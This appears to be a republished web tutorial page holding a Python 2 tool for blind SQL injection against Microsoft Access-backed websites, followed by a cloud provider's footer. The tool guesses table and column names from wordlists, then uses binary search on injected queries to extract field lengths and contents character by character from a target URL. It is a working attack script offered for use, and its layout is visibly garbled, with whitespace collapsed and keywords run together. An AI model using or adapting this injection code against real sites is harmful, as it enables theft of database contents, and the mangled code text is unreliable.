Python writing SQL injection tools (2)

Source: Internet
Author: User
Tags sql injection

Access Injection Module Authoring

#coding=gb2312ImportUrllibImportstring#defining access Injection functionsclassaccessinject ():def __init__(Self,url): Self.url=URL Self.tablenames=[] Self.cloumnnames=[] self.length=0#defines the function that gets the name of the table, using the way the file is guessed    #main SQL statements:. and exists (SELECT * from database table name)    defGettablename (self): n=0 Tablefile= Open ("Table.txt")         forLineinchtablefile.readlines (): line=string.strip (line) SQL= String.Join (['%20and%20exists%20 (select%20*%20from%20', line,')'],"') Page=Urllib.urlopen (Self.url). Read () Pagex=urllib.urlopen (self.url+sql). Read ()ifpage==Pagex:self.tableNames.append (line)Else:                Continue        ifLen (self.tablenames) = =0:n=0Print 'the table name was not guessed.'            returnNElse: N=Len (self.tablenames)Print 'existence table:'             forTinchSelf.tablenames:PrintTreturnNPrint "'    #defines the function that gets the column name    #Primary SQL statement: and exists (select field name from table name)    defgetColumnName (SELF,TN): Column= Open ("Columns.txt")         forColumnlineinchcolumn.readlines (): Columnline=string.strip (columnline) SQL= String.Join (['%20and%20exists%20 (select%20', Columnline,'%20from%20'Tn')'],"') Page=Urllib.urlopen (Self.url). Read () Pagex=urllib.urlopen (self.url+sql). Read ()ifpage==pagex:self.cloumnNames.append (columnline)Else:                Continue        ifLen (self.cloumnnames) = =0:Print 'The dequeue name is not guessed.'        Else:            Print 'Column exists:'             forCinchSelf.cloumnnames:PrintC#define a function to get the length of a field    #The main use of binary method    #Primary SQL statements: and (select top 1 len (field) from table name) > N    defGetcolumnlenth (self,tn,cn,f1=0,f2=36): Page=Urllib.urlopen (Self.url). Read () whilef1<=F2:mid= (F1+F2)/2u=self.url+'%20and%20 (select%20top%201%20len%20 ('u+=CN u+=')%20from%20'u+=TN u+=') >'UX=u+Str (mid) Pagex=Urllib.urlopen (UX). Read ()ifpage==Pagex:uy=u+str (mid+1) Pagey=Urllib.urlopen (UY). Read ()ifpage!=Pagey:self.length=mid+1PrintCN,'Content Length:', Self.lengthreturnSelf.length Break                Else: F1=mid+1Else: F2=Mid#define a function to get the contents of a field     #The main use of binary method     #Primary SQL statements: and (select top 1 ASC (Mid (field name, top)) from table name >0    defgetcontent (self,tn,cn,lenth): Content="'page=Urllib.urlopen (Self.url). Read () forNinchRange (1,lenth+1): F1=32F2=128 whilef1<=F2:mid= (F1+F2)/2URL=self.url+"%20and%20 (Select%20top%201%20asc%20 (Mid ("URL+=CN URL+=','URL+=str (n) URL+=", 1)) %20from%20"URL+=TN URL+=") >"URLX=url+Str (mid) Pagex=Urllib.urlopen (URLX). Read ()ifpage==pagex:urly=url+str (mid+1) Pagey=Urllib.urlopen (urly). Read ()ifpage!=pagey:content+=CHR (mid+1)                         Break                    Else: F1=MidElse: F2=MidPrintCN,'content:', content

Python writing SQL injection tools (2)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.